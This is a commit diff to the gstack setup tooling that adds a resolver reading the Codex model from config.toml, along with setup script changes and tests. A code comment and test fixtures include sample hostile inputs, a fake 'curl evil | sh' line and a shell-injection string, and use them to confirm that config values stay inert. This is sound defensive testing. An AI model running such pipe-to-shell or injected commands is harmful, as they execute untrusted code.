mirror of
https://github.com/garrytan/gstack.git
synced 2026-09-09 22:48:57 +02:00
feat: setup reads the Codex model from config.toml
New resolve-codex-generation-model.ts reads the top-level model from
${CODEX_HOME:-~/.codex}/config.toml, validates against the model allowlist,
strips control characters from every config-derived string it surfaces,
guards against non-absolute config locations, and warns on Sol near-misses.
setup runs it on EVERY invocation (read-only TOML lookup) so a plain
./setup can never clobber a Sol user's rendered profile with the hardcoded
fallback; --model <id> overrides for one run and prints the persistence
hint. Kiro installs render the claude profile before copying (Kiro fronts
Claude-family models), rewrite the baked setup command to --host kiro, and
restore the resolved Codex profile after; the codex skills path honors
CODEX_HOME. Static pins cover the resolver wiring, fail-closed exit,
quoted argv, and the Kiro sandwich.
This commit is contained in:
@@ -190,6 +190,11 @@ SKILL.md files are **generated** from `.tmpl` templates. To update docs:
|
||||
2. Run `bun run gen:skill-docs` (or `bun run build` which does it automatically)
|
||||
3. Commit both the `.tmpl` and generated `.md` files
|
||||
|
||||
Generation uses each host's `defaultModel` (`claude` for existing hosts, `gpt`
|
||||
for Codex) unless `--model` is explicit. Codex installs additionally read the
|
||||
top-level model from `${CODEX_HOME:-~/.codex}/config.toml`; rerun
|
||||
`./setup --host codex` after changing that model.
|
||||
|
||||
To add a new browse command: add it to `browse/src/commands.ts` and rebuild.
|
||||
To add a snapshot flag: add it to `SNAPSHOT_FLAGS` in `browse/src/snapshot.ts` and rebuild.
|
||||
|
||||
|
||||
@@ -122,6 +122,13 @@ Or target a specific agent with `./setup --host <name>`:
|
||||
| Hermes | `--host hermes` | `~/.hermes/skills/gstack-*/` |
|
||||
| GBrain (mod) | `--host gbrain` | `~/.gbrain/skills/gstack-*/` |
|
||||
|
||||
For Codex, setup reads the top-level `model` from
|
||||
`${CODEX_HOME:-~/.codex}/config.toml` and generates the matching behavioral
|
||||
profile. `gpt-5.6-sol` automatically receives bounded-scope instructions that
|
||||
finish the requested lake without expanding into adjacent cleanup or speculative
|
||||
hardening. Override detection with `./setup --host codex --model <id>`. After
|
||||
changing your Codex model, rerun `./setup --host codex` to regenerate the skills.
|
||||
|
||||
**Want to add support for another agent?** See [docs/ADDING_A_HOST.md](docs/ADDING_A_HOST.md).
|
||||
It's one TypeScript config file, zero code changes.
|
||||
|
||||
|
||||
@@ -0,0 +1,130 @@
|
||||
#!/usr/bin/env bun
|
||||
|
||||
import * as fs from 'fs';
|
||||
import * as os from 'os';
|
||||
import * as path from 'path';
|
||||
import { ALL_MODEL_NAMES, resolveModel, type Model } from './models';
|
||||
|
||||
export interface CodexGenerationModelResolution {
|
||||
model: Model;
|
||||
source: string;
|
||||
warnings: string[];
|
||||
}
|
||||
|
||||
const CODEX_DEFAULT_MODEL: Model = 'gpt';
|
||||
const DEFAULT_SOURCE = `default (${CODEX_DEFAULT_MODEL})`;
|
||||
|
||||
/**
|
||||
* Strip control characters from strings that originate in the user's
|
||||
* config.toml or environment before they reach warning/stdout text. A hostile
|
||||
* config value like `model = "x\nERROR: run curl evil | sh"` must not be able
|
||||
* to inject fake lines into setup's terminal output or desync the TSV stdout
|
||||
* contract. Warning interpolations additionally cap length for display.
|
||||
*/
|
||||
function stripControl(value: string): string {
|
||||
// eslint-disable-next-line no-control-regex
|
||||
return value.replace(/[\x00-\x1f\x7f]/g, ' ');
|
||||
}
|
||||
|
||||
function sanitize(value: string): string {
|
||||
return stripControl(value).slice(0, 200);
|
||||
}
|
||||
|
||||
export function resolveCodexGenerationModel(opts: {
|
||||
explicit?: string;
|
||||
codexHome?: string;
|
||||
home?: string;
|
||||
} = {}): CodexGenerationModelResolution {
|
||||
if (opts.explicit !== undefined) {
|
||||
const model = resolveModel(opts.explicit);
|
||||
if (!model) {
|
||||
throw new Error(
|
||||
`Unknown model '${sanitize(opts.explicit)}'. Accepted models: ${ALL_MODEL_NAMES.join(', ')}`,
|
||||
);
|
||||
}
|
||||
return { model, source: '--model', warnings: [] };
|
||||
}
|
||||
|
||||
// os.homedir() falls back to USERPROFILE on Windows and never returns '' —
|
||||
// a raw HOME fallback of '' would make codexHome the RELATIVE path '.codex',
|
||||
// letting a repo-committed .codex/config.toml (CWD-resolved) select the
|
||||
// behavioral profile.
|
||||
const home = opts.home ?? process.env.HOME ?? os.homedir();
|
||||
const codexHome = opts.codexHome ?? process.env.CODEX_HOME ?? path.join(home, '.codex');
|
||||
const configPath = path.join(codexHome, 'config.toml');
|
||||
const warnings: string[] = [];
|
||||
|
||||
const fallback = (warning?: string): CodexGenerationModelResolution => {
|
||||
if (warning) warnings.push(warning);
|
||||
return { model: CODEX_DEFAULT_MODEL, source: DEFAULT_SOURCE, warnings };
|
||||
};
|
||||
|
||||
if (!path.isAbsolute(codexHome)) {
|
||||
return fallback(`Codex home '${sanitize(codexHome)}' is not an absolute path; using Codex default ${CODEX_DEFAULT_MODEL}.`);
|
||||
}
|
||||
|
||||
let raw: string;
|
||||
try {
|
||||
raw = fs.readFileSync(configPath, 'utf8');
|
||||
} catch (error) {
|
||||
const code = (error as NodeJS.ErrnoException).code;
|
||||
if (code !== 'ENOENT') {
|
||||
return fallback(`Could not read ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_MODEL}.`);
|
||||
}
|
||||
return fallback();
|
||||
}
|
||||
|
||||
let parsed: Record<string, unknown>;
|
||||
try {
|
||||
parsed = Bun.TOML.parse(raw) as Record<string, unknown>;
|
||||
} catch {
|
||||
return fallback(`Could not parse ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_MODEL}.`);
|
||||
}
|
||||
|
||||
if (!Object.prototype.hasOwnProperty.call(parsed, 'model')) {
|
||||
return fallback();
|
||||
}
|
||||
if (typeof parsed.model !== 'string') {
|
||||
return fallback(`Top-level model in ${sanitize(configPath)} is not a string; using Codex default ${CODEX_DEFAULT_MODEL}.`);
|
||||
}
|
||||
|
||||
const model = resolveModel(parsed.model);
|
||||
if (!model) {
|
||||
return fallback(`Unsupported top-level model '${sanitize(parsed.model)}' in ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_MODEL}.`);
|
||||
}
|
||||
|
||||
// Sol is exact-only by design (Terra/Luna/dated snapshots must not inherit
|
||||
// its profile), but a near-miss like 'gpt-5.6-sol-2026-08-01' silently
|
||||
// family-mapping to generic gpt is unobservable — surface it.
|
||||
if (model === 'gpt' && parsed.model.trim().startsWith('gpt-5.6-sol') && parsed.model.trim() !== 'gpt-5.6-sol') {
|
||||
warnings.push(`Model '${sanitize(parsed.model)}' maps to the generic gpt profile — the Sol profile requires the exact ID 'gpt-5.6-sol'.`);
|
||||
}
|
||||
|
||||
return { model, source: configPath, warnings };
|
||||
}
|
||||
|
||||
function readArg(name: string): string | undefined {
|
||||
const exact = process.argv.indexOf(name);
|
||||
if (exact >= 0) return process.argv[exact + 1];
|
||||
const prefix = `${name}=`;
|
||||
const joined = process.argv.find(arg => arg.startsWith(prefix));
|
||||
return joined?.slice(prefix.length);
|
||||
}
|
||||
|
||||
if (import.meta.main) {
|
||||
try {
|
||||
const result = resolveCodexGenerationModel({
|
||||
explicit: readArg('--explicit'),
|
||||
codexHome: readArg('--codex-home'),
|
||||
});
|
||||
for (const warning of result.warnings) {
|
||||
process.stderr.write(`warning: ${warning}\n`);
|
||||
}
|
||||
// model is always an ALL_MODEL_NAMES literal; source is control-stripped
|
||||
// so a hostile CODEX_HOME cannot smuggle tabs/newlines into the TSV contract.
|
||||
process.stdout.write(`${result.model}\t${stripControl(result.source)}\n`);
|
||||
} catch (error) {
|
||||
process.stderr.write(`${(error as Error).message}\n`);
|
||||
process.exit(1);
|
||||
}
|
||||
}
|
||||
@@ -12,6 +12,7 @@ Usage: ./setup [options]
|
||||
Options:
|
||||
--host <name> Install for a specific host (claude, codex, kiro, factory,
|
||||
opencode, openclaw, hermes, gbrain, auto). Default: claude.
|
||||
--model <id> Codex model profile override. Otherwise reads Codex config.
|
||||
--prefix Install skills with the gstack- prefix (e.g. /gstack-review).
|
||||
--no-prefix Install skills with short names (e.g. /review). Default.
|
||||
--team Switch to team mode (per-repo gstack with auto-update).
|
||||
@@ -22,6 +23,7 @@ Options:
|
||||
Examples:
|
||||
./setup # solo install for Claude Code
|
||||
./setup --host codex # install for OpenAI Codex CLI
|
||||
./setup --host codex --model gpt-5.6-sol
|
||||
./setup --team # team mode for a shared repo
|
||||
./setup --no-prefix # use short slash-command names
|
||||
|
||||
@@ -52,7 +54,7 @@ INSTALL_GSTACK_DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
SOURCE_GSTACK_DIR="$(cd "$(dirname "$0")" && pwd -P)"
|
||||
INSTALL_SKILLS_DIR="$(dirname "$INSTALL_GSTACK_DIR")"
|
||||
BROWSE_BIN="$SOURCE_GSTACK_DIR/browse/dist/browse"
|
||||
CODEX_SKILLS="$HOME/.codex/skills"
|
||||
CODEX_SKILLS="${CODEX_HOME:-$HOME/.codex}/skills"
|
||||
CODEX_GSTACK="$CODEX_SKILLS/gstack"
|
||||
FACTORY_SKILLS="$HOME/.factory/skills"
|
||||
FACTORY_GSTACK="$FACTORY_SKILLS/gstack"
|
||||
@@ -171,10 +173,14 @@ SKILL_PREFIX_FLAG=0
|
||||
TEAM_MODE=0
|
||||
NO_TEAM_MODE=0
|
||||
PLAN_TUNE_HOOKS_MODE="" # "" = resolve from env/config/prompt; "yes"/"no" = explicit
|
||||
MODEL_OVERRIDE=""
|
||||
MODEL_OVERRIDE_SET=0
|
||||
while [ $# -gt 0 ]; do
|
||||
case "$1" in
|
||||
--host) [ -z "$2" ] && echo "Missing value for --host (expected claude, codex, kiro, factory, opencode, cursor, slate, openclaw, hermes, gbrain, or auto)" >&2 && exit 1; HOST="$2"; shift 2 ;;
|
||||
--host=*) HOST="${1#--host=}"; shift ;;
|
||||
--model) [ -z "$2" ] && echo "Missing value for --model" >&2 && exit 1; MODEL_OVERRIDE="$2"; MODEL_OVERRIDE_SET=1; shift 2 ;;
|
||||
--model=*) MODEL_OVERRIDE="${1#--model=}"; MODEL_OVERRIDE_SET=1; shift ;;
|
||||
--local) LOCAL_INSTALL=1; shift ;;
|
||||
--prefix) SKILL_PREFIX=1; SKILL_PREFIX_FLAG=1; shift ;;
|
||||
--no-prefix) SKILL_PREFIX=0; SKILL_PREFIX_FLAG=1; shift ;;
|
||||
@@ -317,6 +323,11 @@ elif [ "$HOST" = "cursor" ]; then
|
||||
INSTALL_CURSOR=1
|
||||
fi
|
||||
|
||||
if [ "$MODEL_OVERRIDE_SET" -eq 1 ] && [ "$INSTALL_CODEX" -eq 0 ]; then
|
||||
echo "Error: --model is supported only when Codex is selected (--host codex or --host auto with Codex installed)." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
migrate_direct_codex_install() {
|
||||
local gstack_dir="$1"
|
||||
local codex_gstack="$2"
|
||||
@@ -534,6 +545,31 @@ cleanup_copied_bun() {
|
||||
prepare_bun_for_windows_compile
|
||||
trap cleanup_copied_bun EXIT
|
||||
|
||||
# Resolve the model overlay used for generated Codex skills. Setup auto-detects
|
||||
# only Codex because it has one canonical TOML config surface; direct generator
|
||||
# calls remain deterministic and use the host default unless --model is explicit.
|
||||
# The resolver runs on EVERY setup, not just codex installs: step 1b regenerates
|
||||
# .agents/ unconditionally, and existing ~/.codex/skills symlinks point into it —
|
||||
# a plain `./setup` on a Sol user's machine must not clobber their profile with
|
||||
# the hardcoded fallback. The resolver is a read-only TOML lookup that falls
|
||||
# back to gpt when no Codex config exists.
|
||||
CODEX_GENERATION_MODEL="gpt"
|
||||
CODEX_GENERATION_MODEL_SOURCE="default (gpt)"
|
||||
_CODEX_MODEL_ARGS=(run scripts/resolve-codex-generation-model.ts)
|
||||
if [ "$MODEL_OVERRIDE_SET" -eq 1 ]; then
|
||||
_CODEX_MODEL_ARGS+=(--explicit "$MODEL_OVERRIDE")
|
||||
fi
|
||||
_CODEX_MODEL_OUTPUT="$(cd "$SOURCE_GSTACK_DIR" && bun_cmd "${_CODEX_MODEL_ARGS[@]}")"
|
||||
IFS=$'\t' read -r CODEX_GENERATION_MODEL CODEX_GENERATION_MODEL_SOURCE <<< "$_CODEX_MODEL_OUTPUT"
|
||||
if [ -z "$CODEX_GENERATION_MODEL" ]; then
|
||||
echo "gstack setup failed: Codex model resolver returned no model" >&2
|
||||
exit 1
|
||||
fi
|
||||
if [ "$INSTALL_CODEX" -eq 1 ] || [ "$CODEX_GENERATION_MODEL" != "gpt" ]; then
|
||||
log "Codex skill profile: $CODEX_GENERATION_MODEL"
|
||||
log "Source: $CODEX_GENERATION_MODEL_SOURCE"
|
||||
fi
|
||||
|
||||
# 1. Build browse binary if needed (smart rebuild: stale sources, package.json, lock)
|
||||
NEEDS_BUILD=0
|
||||
if [ ! -x "$BROWSE_BIN" ]; then
|
||||
@@ -632,18 +668,19 @@ fi
|
||||
|
||||
# 1b. Generate .agents/ Codex skill docs — always regenerate to prevent stale descriptions.
|
||||
# .agents/ is no longer committed — generated at setup time from .tmpl templates.
|
||||
# bun run build already does this, but we need it when NEEDS_BUILD=0 (binary is fresh).
|
||||
# bun run build generates the host-default artifact. Always render Codex again
|
||||
# with the resolved user profile so a build cannot overwrite a Sol-specific render.
|
||||
# Always regenerate: generation is fast (<2s) and mtime-based staleness checks are fragile
|
||||
# (miss stale files when timestamps match after clone/checkout/upgrade).
|
||||
AGENTS_DIR="$SOURCE_GSTACK_DIR/.agents/skills"
|
||||
NEEDS_AGENTS_GEN=1
|
||||
|
||||
if [ "$NEEDS_AGENTS_GEN" -eq 1 ] && [ "$NEEDS_BUILD" -eq 0 ]; then
|
||||
if [ "$NEEDS_AGENTS_GEN" -eq 1 ]; then
|
||||
log "Generating .agents/ skill docs..."
|
||||
(
|
||||
cd "$SOURCE_GSTACK_DIR"
|
||||
bun_cmd install --frozen-lockfile 2>/dev/null || bun_cmd install
|
||||
bun_cmd run gen:skill-docs --host codex
|
||||
bun_cmd run gen:skill-docs --host codex --model "$CODEX_GENERATION_MODEL"
|
||||
)
|
||||
fi
|
||||
|
||||
@@ -1038,11 +1075,11 @@ link_codex_skill_dirs() {
|
||||
|
||||
if [ ! -d "$agents_dir" ]; then
|
||||
echo " Generating .agents/ skill docs..."
|
||||
( cd "$gstack_dir" && bun_cmd run gen:skill-docs --host codex )
|
||||
( cd "$gstack_dir" && bun_cmd run gen:skill-docs --host codex --model "$CODEX_GENERATION_MODEL" )
|
||||
fi
|
||||
|
||||
if [ ! -d "$agents_dir" ]; then
|
||||
echo " warning: .agents/skills/ generation failed — run 'bun run gen:skill-docs --host codex' manually" >&2
|
||||
echo " warning: .agents/skills/ generation failed — run 'bun run gen:skill-docs --host codex --model $CODEX_GENERATION_MODEL' manually" >&2
|
||||
return 1
|
||||
fi
|
||||
|
||||
@@ -1686,6 +1723,12 @@ if [ "$INSTALL_CODEX" -eq 1 ]; then
|
||||
log "gstack ready (codex)."
|
||||
log " browse: $BROWSE_BIN"
|
||||
log " codex skills: $CODEX_SKILLS"
|
||||
log " model profile: $CODEX_GENERATION_MODEL ($CODEX_GENERATION_MODEL_SOURCE)"
|
||||
log " model changes: rerun ./setup --host codex"
|
||||
if [ "$MODEL_OVERRIDE_SET" -eq 1 ]; then
|
||||
log " note: --model applies to this run only. To persist across upgrades,"
|
||||
log " set model = \"$MODEL_OVERRIDE\" in \${CODEX_HOME:-~/.codex}/config.toml."
|
||||
fi
|
||||
fi
|
||||
|
||||
# 6. Install for Kiro CLI (copy from .agents/skills, rewrite paths)
|
||||
@@ -1694,6 +1737,15 @@ if [ "$INSTALL_KIRO" -eq 1 ]; then
|
||||
AGENTS_DIR="$SOURCE_GSTACK_DIR/.agents/skills"
|
||||
mkdir -p "$KIRO_SKILLS"
|
||||
|
||||
# Kiro builds from the codex-shaped render but fronts Claude-family models
|
||||
# (hosts/kiro.ts defaultModel: 'claude'). Re-render with the claude overlay
|
||||
# before copying so Kiro skills never ship the GPT/Sol behavioral patch;
|
||||
# the resolved Codex profile is restored right after the copy loop.
|
||||
if [ "$CODEX_GENERATION_MODEL" != "claude" ]; then
|
||||
log "Rendering claude-profile skills for Kiro..."
|
||||
( cd "$SOURCE_GSTACK_DIR" && bun_cmd run gen:skill-docs --host codex --model claude )
|
||||
fi
|
||||
|
||||
# Create gstack dir with symlinks for runtime assets, copy+sed for SKILL.md
|
||||
KIRO_GSTACK="$KIRO_SKILLS/gstack"
|
||||
# Remove old whole-dir symlink from previous installs
|
||||
@@ -1712,9 +1764,15 @@ if [ "$INSTALL_KIRO" -eq 1 ]; then
|
||||
mkdir -p "$KIRO_GSTACK/supabase"
|
||||
_link_or_copy "$SOURCE_GSTACK_DIR/supabase/config.sh" "$KIRO_GSTACK/supabase/config.sh"
|
||||
fi
|
||||
# gstack-upgrade skill
|
||||
# gstack-upgrade skill — sed COPY, never a symlink: a symlink would track
|
||||
# .agents after the Codex-profile restore below (wrong overlay AND a baked
|
||||
# './setup --host codex' that reinstalls the wrong host on /gstack-upgrade).
|
||||
if [ -f "$AGENTS_DIR/gstack-upgrade/SKILL.md" ]; then
|
||||
_link_or_copy "$AGENTS_DIR/gstack-upgrade/SKILL.md" "$KIRO_GSTACK/gstack-upgrade/SKILL.md"
|
||||
sed -e 's|\$HOME/.codex/skills/gstack|$HOME/.kiro/skills/gstack|g' \
|
||||
-e "s|~/.codex/skills/gstack|~/.kiro/skills/gstack|g" \
|
||||
-e "s|~/.claude/skills/gstack|~/.kiro/skills/gstack|g" \
|
||||
-e 's|\./setup --host codex|./setup --host kiro|g' \
|
||||
"$AGENTS_DIR/gstack-upgrade/SKILL.md" > "$KIRO_GSTACK/gstack-upgrade/SKILL.md"
|
||||
fi
|
||||
# Review runtime assets (individual files, not whole dir)
|
||||
for f in checklist.md design-checklist.md greptile-triage.md TODOS-format.md; do
|
||||
@@ -1738,10 +1796,12 @@ if [ "$INSTALL_KIRO" -eq 1 ]; then
|
||||
target_dir="$KIRO_SKILLS/$skill_name"
|
||||
mkdir -p "$target_dir"
|
||||
# Generated Codex skills use $HOME/.codex (not ~/), plus $GSTACK_ROOT variables.
|
||||
# Rewrite the default GSTACK_ROOT value and any remaining literal paths.
|
||||
# Rewrite the default GSTACK_ROOT value, any remaining literal paths, and
|
||||
# the SETUP_COMMAND host (the artifact was rendered for codex).
|
||||
sed -e 's|\$HOME/.codex/skills/gstack|$HOME/.kiro/skills/gstack|g' \
|
||||
-e "s|~/.codex/skills/gstack|~/.kiro/skills/gstack|g" \
|
||||
-e "s|~/.claude/skills/gstack|~/.kiro/skills/gstack|g" \
|
||||
-e 's|\./setup --host codex|./setup --host kiro|g' \
|
||||
"$skill_dir/SKILL.md" > "$target_dir/SKILL.md"
|
||||
# Carved skills (v2 plan T9): rewrite + copy each sections/*.md the same way,
|
||||
# so a runtime "Read sections/<name>.md" resolves under ~/.kiro and doesn't
|
||||
@@ -1754,6 +1814,7 @@ if [ "$INSTALL_KIRO" -eq 1 ]; then
|
||||
sed -e 's|\$HOME/.codex/skills/gstack|$HOME/.kiro/skills/gstack|g' \
|
||||
-e "s|~/.codex/skills/gstack|~/.kiro/skills/gstack|g" \
|
||||
-e "s|~/.claude/skills/gstack|~/.kiro/skills/gstack|g" \
|
||||
-e 's|\./setup --host codex|./setup --host kiro|g' \
|
||||
"$section_file" > "$target_dir/sections/$(basename "$section_file")"
|
||||
done
|
||||
fi
|
||||
@@ -1762,6 +1823,12 @@ if [ "$INSTALL_KIRO" -eq 1 ]; then
|
||||
echo " browse: $BROWSE_BIN"
|
||||
echo " kiro skills: $KIRO_SKILLS"
|
||||
fi
|
||||
|
||||
# Restore the resolved Codex profile — ~/.codex/skills symlinks point into
|
||||
# .agents/skills, so the tree must not stay on the Kiro claude render.
|
||||
if [ "$CODEX_GENERATION_MODEL" != "claude" ]; then
|
||||
( cd "$SOURCE_GSTACK_DIR" && bun_cmd run gen:skill-docs --host codex --model "$CODEX_GENERATION_MODEL" )
|
||||
fi
|
||||
fi
|
||||
|
||||
# 6b. Install for Factory Droid
|
||||
|
||||
@@ -0,0 +1,132 @@
|
||||
import { afterEach, describe, expect, test } from 'bun:test';
|
||||
import * as fs from 'fs';
|
||||
import * as os from 'os';
|
||||
import * as path from 'path';
|
||||
import { spawnSync } from 'child_process';
|
||||
import { resolveCodexGenerationModel } from '../scripts/resolve-codex-generation-model';
|
||||
|
||||
const ROOT = path.resolve(import.meta.dir, '..');
|
||||
const temps: string[] = [];
|
||||
|
||||
function codexHome(config?: string): string {
|
||||
const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-codex-model-'));
|
||||
temps.push(dir);
|
||||
if (config !== undefined) fs.writeFileSync(path.join(dir, 'config.toml'), config);
|
||||
return dir;
|
||||
}
|
||||
|
||||
afterEach(() => {
|
||||
for (const dir of temps.splice(0)) fs.rmSync(dir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
describe('Codex generation model resolution', () => {
|
||||
test('explicit override wins over config', () => {
|
||||
const result = resolveCodexGenerationModel({
|
||||
explicit: 'gpt-5.6-sol',
|
||||
codexHome: codexHome('model = "gpt-5.4"\n'),
|
||||
});
|
||||
expect(result).toEqual({ model: 'gpt-5.6-sol', source: '--model', warnings: [] });
|
||||
});
|
||||
|
||||
test('reads only the top-level TOML model', () => {
|
||||
const home = codexHome(`
|
||||
# active model
|
||||
model = "gpt-5.6-sol"
|
||||
[profiles.terra]
|
||||
model = "gpt-5.6-terra"
|
||||
`);
|
||||
const result = resolveCodexGenerationModel({ codexHome: home });
|
||||
expect(result.model).toBe('gpt-5.6-sol');
|
||||
expect(result.source).toBe(path.join(home, 'config.toml'));
|
||||
});
|
||||
|
||||
test('ignores profile-only model values', () => {
|
||||
const result = resolveCodexGenerationModel({
|
||||
codexHome: codexHome('[profiles.sol]\nmodel = "gpt-5.6-sol"\n'),
|
||||
});
|
||||
expect(result.model).toBe('gpt');
|
||||
expect(result.source).toBe('default (gpt)');
|
||||
});
|
||||
|
||||
test('missing, malformed, non-string, and unsupported configs fall back safely', () => {
|
||||
expect(resolveCodexGenerationModel({ codexHome: codexHome() }).model).toBe('gpt');
|
||||
|
||||
const malformed = resolveCodexGenerationModel({ codexHome: codexHome('model = [') });
|
||||
expect(malformed.model).toBe('gpt');
|
||||
expect(malformed.warnings[0]).toContain('Could not parse');
|
||||
|
||||
const nonString = resolveCodexGenerationModel({ codexHome: codexHome('model = ["gpt-5.6-sol"]') });
|
||||
expect(nonString.model).toBe('gpt');
|
||||
expect(nonString.warnings[0]).toContain('not a string');
|
||||
|
||||
const unsupported = resolveCodexGenerationModel({ codexHome: codexHome('model = "llama-local"') });
|
||||
expect(unsupported.model).toBe('gpt');
|
||||
expect(unsupported.warnings[0]).toContain('Unsupported');
|
||||
});
|
||||
|
||||
test('unreadable config warns and falls back', () => {
|
||||
const home = codexHome();
|
||||
fs.mkdirSync(path.join(home, 'config.toml'));
|
||||
const result = resolveCodexGenerationModel({ codexHome: home });
|
||||
expect(result.model).toBe('gpt');
|
||||
expect(result.source).toBe('default (gpt)');
|
||||
expect(result.warnings[0]).toContain('Could not read');
|
||||
});
|
||||
|
||||
test('injection-shaped model data is data, never shell', () => {
|
||||
const marker = path.join(os.tmpdir(), `gstack-model-injection-${process.pid}`);
|
||||
try { fs.rmSync(marker, { force: true }); } catch {}
|
||||
const result = resolveCodexGenerationModel({
|
||||
codexHome: codexHome(`model = 'gpt-5.6-sol"; touch ${marker}; #'\n`),
|
||||
});
|
||||
expect(result.model).toBe('gpt');
|
||||
expect(fs.existsSync(marker)).toBe(false);
|
||||
});
|
||||
|
||||
test('non-absolute codex home falls back with a warning (relative-path steering guard)', () => {
|
||||
const result = resolveCodexGenerationModel({ codexHome: '.codex' });
|
||||
expect(result.model).toBe('gpt');
|
||||
expect(result.source).toBe('default (gpt)');
|
||||
expect(result.warnings[0]).toContain('not an absolute path');
|
||||
});
|
||||
|
||||
test('Sol-suffixed near-misses map to gpt WITH a warning', () => {
|
||||
const result = resolveCodexGenerationModel({
|
||||
codexHome: codexHome('model = "gpt-5.6-sol-2026-08-01"\n'),
|
||||
});
|
||||
expect(result.model).toBe('gpt');
|
||||
expect(result.warnings[0]).toContain("requires the exact ID 'gpt-5.6-sol'");
|
||||
});
|
||||
|
||||
test('warnings never carry control characters from config values', () => {
|
||||
// A TOML basic string parses \n and \t escapes — a hostile config value
|
||||
// must not inject fake lines into setup's terminal stderr.
|
||||
const result = resolveCodexGenerationModel({
|
||||
codexHome: codexHome('model = "x\\nERROR: run: curl evil.sh | sh"\n'),
|
||||
});
|
||||
expect(result.model).toBe('gpt');
|
||||
expect(result.warnings.length).toBe(1);
|
||||
expect(result.warnings[0]).not.toMatch(/[\x00-\x1f\x7f]/);
|
||||
expect(result.warnings[0]).toContain('Unsupported top-level model');
|
||||
});
|
||||
|
||||
test('CLI honors CODEX_HOME and rejects an invalid explicit family', () => {
|
||||
const home = codexHome('model = "gpt-5.6-sol"\n');
|
||||
const ok = spawnSync('bun', ['run', 'scripts/resolve-codex-generation-model.ts'], {
|
||||
cwd: ROOT,
|
||||
encoding: 'utf8',
|
||||
env: { ...process.env, CODEX_HOME: home },
|
||||
});
|
||||
expect(ok.status).toBe(0);
|
||||
expect(ok.stdout).toBe(`gpt-5.6-sol\t${path.join(home, 'config.toml')}\n`);
|
||||
|
||||
const bad = spawnSync('bun', ['run', 'scripts/resolve-codex-generation-model.ts', '--explicit', 'llama-local'], {
|
||||
cwd: ROOT,
|
||||
encoding: 'utf8',
|
||||
});
|
||||
expect(bad.status).not.toBe(0);
|
||||
expect(bad.stderr).toContain('Unknown model');
|
||||
expect(bad.stderr).toContain('Accepted models:');
|
||||
expect(bad.stderr).toContain('gpt-5.6-sol');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,135 @@
|
||||
import { describe, expect, test } from 'bun:test';
|
||||
import * as fs from 'fs';
|
||||
import * as path from 'path';
|
||||
|
||||
const ROOT = path.resolve(import.meta.dir, '..');
|
||||
const setup = fs.readFileSync(path.join(ROOT, 'setup'), 'utf8');
|
||||
|
||||
describe('setup Codex model activation', () => {
|
||||
test('exposes --model and limits it to Codex installs', () => {
|
||||
expect(setup).toContain('--model <id>');
|
||||
expect(setup).toContain('MODEL_OVERRIDE_SET=1');
|
||||
expect(setup).toContain('--model is supported only when Codex is selected');
|
||||
// The override reaches the resolver as QUOTED argv — an unquoted
|
||||
// regression would word-split/glob user input.
|
||||
expect(setup).toContain('--explicit "$MODEL_OVERRIDE"');
|
||||
});
|
||||
|
||||
test('resolver runs on every setup, before any INSTALL_CODEX gate', () => {
|
||||
// A plain `./setup` (claude host) still regenerates .agents/, and live
|
||||
// ~/.codex/skills symlinks point into it — resolution must not be gated
|
||||
// on the codex host being selected, or a Sol user's profile gets
|
||||
// clobbered back to the hardcoded fallback.
|
||||
const blockStart = setup.indexOf('# Resolve the model overlay');
|
||||
const blockEnd = setup.indexOf('# 1. Build browse binary', blockStart);
|
||||
expect(blockStart).toBeGreaterThan(-1);
|
||||
const block = setup.slice(blockStart, blockEnd);
|
||||
const resolverAt = block.indexOf('_CODEX_MODEL_OUTPUT=');
|
||||
const firstGateAt = block.indexOf('INSTALL_CODEX');
|
||||
expect(resolverAt).toBeGreaterThan(-1);
|
||||
expect(firstGateAt === -1 || resolverAt < firstGateAt).toBe(true);
|
||||
});
|
||||
|
||||
test('resolves the profile once, fails closed, and passes it as quoted argv', () => {
|
||||
expect(setup).toContain('scripts/resolve-codex-generation-model.ts');
|
||||
expect(setup).toContain('Codex skill profile: $CODEX_GENERATION_MODEL');
|
||||
expect(setup).toContain('Source: $CODEX_GENERATION_MODEL_SOURCE');
|
||||
expect(setup).toContain('gen:skill-docs --host codex --model "$CODEX_GENERATION_MODEL"');
|
||||
// Positive pin of the parse mechanism (an eval-shaped regression would
|
||||
// remove this line rather than merely rephrase an eval call).
|
||||
expect(setup).toContain(`IFS=$'\\t' read -r CODEX_GENERATION_MODEL CODEX_GENERATION_MODEL_SOURCE`);
|
||||
// Fail-closed: empty resolver output aborts setup, including the exit.
|
||||
const guardAt = setup.indexOf('gstack setup failed: Codex model resolver returned no model');
|
||||
expect(guardAt).toBeGreaterThan(-1);
|
||||
expect(setup.slice(guardAt, guardAt + 200)).toContain('exit 1');
|
||||
});
|
||||
|
||||
test('regenerates Codex after both fresh and stale build paths', () => {
|
||||
const generationStart = setup.indexOf('# 1b. Generate .agents/ Codex skill docs');
|
||||
const generationEnd = setup.indexOf('# 1c. Generate .factory/', generationStart);
|
||||
const block = setup.slice(generationStart, generationEnd);
|
||||
expect(block).toContain('if [ "$NEEDS_AGENTS_GEN" -eq 1 ]; then');
|
||||
expect(block).not.toContain('NEEDS_BUILD" -eq 0');
|
||||
});
|
||||
|
||||
test('fallback generation and handoff preserve the selected profile', () => {
|
||||
const linkStart = setup.indexOf('link_codex_skill_dirs()');
|
||||
const linkEnd = setup.indexOf('create_agents_sidecar()', linkStart);
|
||||
const block = setup.slice(linkStart, linkEnd);
|
||||
expect(block).toContain('gen:skill-docs --host codex --model "$CODEX_GENERATION_MODEL"');
|
||||
expect(block).toContain('gen:skill-docs --host codex --model $CODEX_GENERATION_MODEL');
|
||||
expect(setup).toContain('model changes: rerun ./setup --host codex');
|
||||
expect(setup).toContain('model profile: $CODEX_GENERATION_MODEL');
|
||||
});
|
||||
|
||||
test('Kiro copies a claude-profile render, then restores the Codex profile', () => {
|
||||
// Kiro fronts Claude-family models (hosts/kiro.ts defaultModel: 'claude')
|
||||
// but builds from the codex-shaped .agents render — the copy must happen
|
||||
// against a claude-overlay render, and the resolved Codex profile must be
|
||||
// restored afterward so ~/.codex/skills symlinks stay correct.
|
||||
const kiroStart = setup.indexOf('# 6. Install for Kiro CLI');
|
||||
